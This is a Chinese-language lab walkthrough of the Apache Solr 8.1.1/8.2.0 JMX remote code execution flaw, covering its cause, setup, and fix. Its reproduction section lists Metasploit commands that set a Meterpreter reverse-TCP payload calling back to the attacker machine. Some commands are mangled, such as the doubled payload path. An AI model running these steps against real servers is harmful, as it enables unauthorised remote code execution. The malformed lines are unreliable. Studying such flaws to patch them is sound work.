0x00簡介
Solr是一個獨立的企業級搜尋應用程式伺服器,它對外提供類似Web-service的API介面。使用者可以透過http請求,向搜尋引擎伺服器提交一定格式的XML文件,產生索引;也可以透過Http Get操作提出查找請求,並得到XML格式的回傳結果。
此漏洞源自於預設設定檔solr.in.sh中的ENABLE_REMOTE_JMX_OPTS設定選項存在安全風險。
Apache Solr的8.1.1和8.2.0版本的自帶設定檔solr.in.sh中存在ENABLE_REMOTE_JMX_OPTS="true"選項。
如果使用受影響版本中的預設solr.in.sh文件,那麼將啟用JMX監視並將其暴露在RMI_PORT上(預設值= 18983),
並且無需進行任何身份驗證。 如果防火牆中的入站流量打開了此端口,則具有Solr節點網路存取權限的任何人都將能夠存取JMX,
並且可以上傳惡意程式碼在Solr伺服器上執行。此漏洞不影響Windows系統的使用者,僅影響部分版本的Linux使用者。
0x01影響版本
Apache Solr8.1.1版本上線時間:2019-05-28
Apache Solr8.2.0版本上線時間:2019- 07-25
0x02漏洞危害
如果受害者使用了該預設配置,則會在預設連接埠18983開放JMX服務,且預設未開啟認證。任何可存取此連接埠的攻擊者可利用此漏洞向受影響服務發動攻擊,執行任意程式碼。
0x03環境搭建
##Java環境與kali系統、Solr 8.20
Solr 8.20 下載位址:
wget http:/ /archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.zip
使用unzip solr-8.2.0.zip解壓縮
解壓縮完成後,切換到bin目錄啟動Solr
#./solr start -force
啟動後訪問:http://192.168.10.176:8983/
0x04漏洞復現
#攻擊機:kali IP:192.168.10.147
受害機:Ubuntu18.6中docker IP:192.168.10.184:8983
1、使用nmap掃描端口後發現18983端口開啟
2、使用Metasploit中的exploit/multi/misc/java_jmx_server模組進行漏洞復現
Ø use exploit/multi/misc/java_jmx_server
#Ø set RHOST 192.168.10.184
Ø set RPORT 18983
再來設定payload:java/meterpreter/reverse_tcp
Ø set payload java/meterpreter/java/meterpreter/ reverse_tcp
Ø set LHOST 192.168.10.147
Ø set LPORT 4444
#3、使用run執行,即可看到成功建立連接
0x05修復建議
將solr.in.sh設定檔中的ENABLE_REMOTE_JMX_OPTS選項設為false,然後重新啟動Solr服務。
以上是如何進行Apache Solr JMX服務RCE漏洞復現的詳細內容。更多資訊請關注PHP中文網其他相關文章!